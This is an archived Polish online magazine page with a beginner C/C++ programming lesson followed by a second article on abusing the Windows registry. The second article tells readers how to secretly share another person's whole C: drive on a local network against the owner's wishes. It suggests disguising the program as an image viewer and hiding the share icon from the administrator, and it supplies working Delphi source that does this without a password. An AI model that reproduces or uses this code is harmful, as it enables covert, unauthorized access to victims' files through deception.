magazyn internetowy Wirtu@l!
Wirtu@l! w Internecie: http://wirtual.pl/
[magazyn internetowy Wirtu@l]
NAJTAŃSZA REKLAMA W WIRTUALU!



Kurs C/C++ (część 1.)

Korzyści płynących z umiejętności programowania nie trzeba już chyba nikomu tłumaczyć. Wielu z nas miało już do czynienia z językami Pascal, LOGO lub BASIC. Jednak najpopularniejszy na świecie język programowania - C - jest często traktowany po macoszemu, zarzuca mu się zbytnią komplikację składni oraz nieprzyjazność dla programisty. Ale programowanie w C/C++ ma swoje niepowtarzalne zalety. Obecnie na prawie każdy typ komputera oraz system operacyjny istnieje kompilator tego języka, co w połączeniu ze standardem ANSI C gwarantuje nam bardzo szeroką przenośność kodu źródłowego. Oznacza to ni mniej, ni więcej, ale to, że nasze programy będą mogły zostać skompilowane i uruchomione na największej liczbie maszyn na świecie!

Tym artykułem rozpoczynam w Wirtu@lu kurs programowania w językach C i C++. Przeznaczony jest on dla osób, które mają już jakiekolwiek pojęcie o programowaniu w dowolnym języku.

Do rozpoczęcia nauki potrzebny nam będzie kompilator języka C. Dla systemu Windows polecam Borland C++, Borland C++ Builder lub MS Visual C++, użytkownicy systemów UNIXowych mogą skorzystać z nieśmiertelnego GCC bądź EGCS.

W języku C, w przeciwieństwie do innych języków programowania, nie wyróżniamy podziału na główny kod programu oraz procedury/funkcje. Tutaj cały program składa się z funkcji. Nieco inne znaczenie ma jedna z nich - main(), która zawsze jest wywoływana przy starcie programu. Pora więc na nasz pierwszy program:

/* pierwszy program */
#include <stdio.h>

void main() {
   printf("Hello world!\n");
}

UWAGA! Jeżeli korzystamy z kompilatora dla Windows, a piszemy programy do uruchamiania z linii poleceń, konieczne może być odpowiednie ustawienie typu tworzonej aplikacji. W C++ Builderze robi się to w menu Options/Project..., zakładka Linker, w grupie Application type należy zaznaczyć Console application.

Na pierwszy rzut oka widać, że komentarze zawieramy w blokach /* ... */. Dyrektywa #include dołącza do naszego programu plik o nazwie podanej w nawiasach trójkątnych. W tym przypadku jest to plik nagłówkowy stdio.h, umożliwiający korzystanie z instrukcji wejścia/wyjścia.

Słówko void przed nazwą funkcji oznacza, iż nie będzie ona zwracała wartości (odpowiednik procedure znanej z Pascala). main() jest nazwą procedury wykonywanej przy starcie programu, a instrukcja printf() wypisuje na ekranie tekst podany jako pierwszy argument (łańcuchy tekstowe podajemy w cudzysłowach "").

/* drugi program */
#include <stdio.h>

int pobierz_liczbe() {
   int podana_liczba;
   printf("Podaj liczbę: ");
   scanf("%i", &podana_liczba);
   return podana_liczba;
}

void main() {
   int liczba1, liczba2;
   liczba1 = pobierz_liczbe();
   if (liczba1 == 20) {
      printf("Podałeś 20!\n");
   }
   else
   {
      liczba2 = liczba1 * 7;
      printf("%i razy 7 = %i.\n", liczba1, liczba2);
   }
}

Na początku widoczna jest deklaracja funkcji pobierz_liczbe(). Słowo int (oznaczające liczbę całkowitą) przed nazwą funkcji jest typem wartości zwracanej przez tą funkcję (tabela ze spisem dostępnych typów na końcu artykułu). Pierwsza linia we wnętrzu funkcji (pomiędzy znakami { a }) jest deklaracją zmiennej typu int o nazwie podana_liczba. W języku C aby zadeklarować zmienną poprzedzamy po prostu jej nazwę typem (patrz tabela typów). Znana już nam instrukcja printf() wypisuje na ekranie komunikat zachęcający użytkownika do podania liczby.

Dalej następuje wywołanie funkcji scanf(). Służy ona do pobierania danych ze standardowego wejścia (terminala). Pierwszym jej argumentem jest szablon, z którego kompilator odczytuje typ danych podawanych przez użytkownika (patrz tabela symboli na końcu artykułu). W tym przypadku %i oznacza liczbę całkowitą, odpowiadającą typowi int. Liczba kolejnych argumentów funkcji scanf() musi być zgodna z liczbą symboli w łańcuchu tekstowym podanym jako pierwszy argument. Gdy używamy symbolu %i, jako kolejny argument podajemy wskaźnik na zmienną typu int, w której zostanie zapisana liczba podana przez użytkownika. W skrócie podam, iż wskaźnik na zmienną tworzymy przez umieszczenie przed jej nazwą symbolu & (wskaźnikami szerzej zajmiemy się w kolejnej części kursu).

Kolejna linia zawiera słowo kluczowe return. W języku C określa ono wartość zwracaną przez funkcję, w której jest umieszczone. W tym przypadku zwracamy wartość zmiennej podana_liczba.

W głównej cześci kodu programu (funkcja main()) najpierw deklarujemy dwie zmienne typu int (liczby całkowite), a następnie pierwszej z nich przypisujemy (operatorem przypisania =, odpowiednikiem pascalowego :=) wartość zwracaną przez funkcję pobierz_liczbe. Oznacza to wywołanie tej funkcji (omówionej powyżej) i pobranie od użytkownika jednej liczby. Następnie instrukcją porównania (if) sprawdzamy (operatorem ==, odpowiednikiem = z Pascala), czy podana liczba jest równa 20. Jeżeli tak, wyświetlamy na ekranie stosowny tekst. W przeciwnym wypadku zmiennej liczba2 przypisujemy wartość zmiennej liczba1 pomnożonej przez 7.

Ostatnie wywołanie instrukcji printf() w tym programie tłumaczy jej właściwe zadanie. Tak jak w przypadku scanf(), tak i tutaj w tekście pierwszego argumentu mogą znajdować się symbole specjalne, rozpoczynające się znakiem procenta. Każdy symbol tam umieszczony musi znaleźć swoje odzwierciedlenie w postaci dodatkowego argumentu podanego tej funkcji. I tak w tej linii użyliśmy dwóch symboli %i oznaczających liczbę całkowitą, więc musieliśmy podać dwa dodatkowe argumenty funkcji printf() (są to zmienne liczba1 i liczba2).

Wprawny czytelnik zapewne zauważył, iż w niektórych miejscach pierwszy argument funkcji printf() kończył się symbolem \n. Otóż znak ten powoduje przejście do nowego wiersza dokładnie w miejscu, w którym występuje. A więc instrukcja:

printf("AAA\nBBB\n\nCCC");

wyświetli na ekranie tekst:

AAA
BBB

CCC

To tyle w pierwszej części kursu. W kolejnych odcinkach postaram się przedstawić operacje dyskowe, wskaźniki, wykorzystanie środowiska graficznego oraz programowanie obiektowe.

Podstawowe typy danych w C/C++
Typ Długość Zakres
Typy całkowite
char 1 bajt -128 do 127
unsigned char 1 bajt 0 do 255
int 4 bajty -231 do 231-1
unsigned int 4 bajty 0 do 232-1
short int 2 bajty -32768 do 32767
Typy rzeczywiste
float 4 bajty 3,4 x 10-38 do 3,4 x 1038
double 8 bajtów 1,7x10-308 do 1,7x10308
long double 10 bajtów 3,4x10-4932 do 1,1x104932

Oznaczenia typów dla funkcji printf() i scanf()
Oznaczenie Odpowiadający typ Opis
%d, %i int liczba całkowita
%o int liczba całkowita (ósemkowo)
%x int liczba całkowita (szesnastkowo)
%e, %f, %g float liczba zmiennoprzecinkowa
%c char pojedynczy znak
%s char[] łańcuch tekstowy (tablica znaków)

Odnośniki:

ANSI C Guide for UNIX Programmers
C and C++
C++ Language Tutorial
C/C++ Resources

Paweł Grajewski
grajewsp@wirtual.pl

[Ars Amandi - sztuka kochania]
NAJTAŃSZA REKLAMA W WIRTUALU!


Wykorzystanie rejestru Windows i Delphi

do celów innych niż zazwyczaj

Jak powszechnie wiadomo, rejestr systemu Windows jest praktyczną bazą danych o danym komputerze. Osobiście używam go tylko do testów mojego komputera, ale każdy ma swoje własne upodobania. Jeżeli ktoś ma sieć lokalną opartą na Windowsach, to od razu powiem, że nie może się czuć w takiej sieci zupełnie bezpieczny z powodu usługi zwanej "Udostępnianie plików i drukarek". Pliki i drukarki udostępnia się poprzez wybranie z "Właściwości" danego katalogu karty "Udostępnianie". Ale czemu by nie zrobić tego poprzez dokonanie zmian w rejestrze systemowym? Jeśli chcemy udostępnić dla siebie jakiś katalog na drugim komputerku w LANie (a właściciciel komputera nie chce się na to zgodzić), to pozostaje tylko próbować zrobić coś na własną rękę. Kiedyś miałem podobny problem, ale szybko go rozwiązałem. Do tego celu posłużyłem się językiem Delphi (dawniej używałem Pascala, ale szybko zrezygnowałem). A oto przepis na to, jak sobie coś udostępnić na drugim komputerze spiętym LANem (oczywiście na Windowsie).

Najprościej jest napisać programik, który uruchomi użytkownik drugiego komputera, ale to już nie jest problemem... Najważniejsze jest to, co będzie robił dany program:

  1. Program powinien odnaleźć w rejestrze systemowym odpowiedni klucz. Najczęściej jest to: HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Network \ LanMan\.
  2. Powinien dokonać odpowiedniego wpisu, w zależności od tego, co chcemy udostępnić.
  3. Powinien działać szybko i zajmować jak najmniej pamięci.
  4. Działanie programu nie powinno wzbudzać podejrzeń, dlatego też najlepiej jest go połączyć z funkcją wyświetlającą jakiś obrazek (lub cokolwiek innego, pozostawiam tę kwestię pomysłowości programistów).

To chyba wszystko jeśli chodzi o cechy programu. Jest tylko mały problem. Mianowicie, gdy udostępnia się jakiś katalog lub dysk, na udostępnionym zasobie pojawia się magiczna "rączka". Pseudo "admin" Windowsa, ujrzywszy taką "rączkę" na folderze, który do tej pory nie był udostępniony, szybko się zorientuje, że coś jest nie tak. Można temu zapobiec... jak? Oczywiście poprzez drobny wpis w rejestrze. Wystarczy zmienić dane wartości Flags ze 191 na 302, aby "rączka nie pojawiła się" Dzięki temu na karcie "udostępnianie" będzie widniał jedynie napis: "Nie udostępniony" (ale to tylko napis :)). To chyba wszystko. Pod spodem króciutki programik napisany w Delphi, udostępniający dysk C: dowolnemu użytkownikowi sieci lokalnej, bez hasła, bez magicznej "rączki" na udostępnionym folderze.

To by było na tyle - teraz wystarczy skompilować i powiedzieć komuś, żeby włączył nasz najnowszy program. Jeśli program zostanie uruchomiony, to po resecie komputera zostanie udostęniony cały dysk C: jako "tutaj". Oczywiście prościej jest napisać program odwołujący się do zdlanego administrowania, ale myślę, że to nie sprawi już większych problemów.

Niniejszy artykuł ma na celu ukazanie jednej z wielu wad systemu Windows. Autor nie ponosi odpowiedzialności za szkody wynikłe z przeczytania powyższego tekstu.

kE5c01|
nicosc@friko2.onet.pl

program share;

uses Forms, Registry, Windows;

{$R *.RES}
var R: TRegistry;
  Buf: Byte;

begin
  Application.Initialize;
  R := TRegistry.Create;
  with R do begin
    RootKey := HKEY_LOCAL_MACHINE;
    OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\tutaj', true);
    {klucz rejestru odwołujący się do udostępnionego zasobu}
    {w tym przypadku dysk C: będzie udostępniony jako "tutaj"}
    WriteInteger('Flags',$302); {wartość 302 pozwala na ukrycie "rączki"}
    WriteInteger('Type', $0);
    WriteString('Path', 'C:\');
    {tu się wpisuje ścieżkę do katalogu, który ma być udostępniony}
    {w tym przypadku jest to c:}
    WriteString('Remark', ''); {komentarz}
    WriteBinaryData('Parm1enc',Buf, 0);
    WriteBinaryData('Parm2enc', Buf, 0);
    Free;
  end;
  Application.Run;
end.


· Strona główna · · Internet · · Komputer · · Code Zone · · Telekomunikacja · · Felietony ·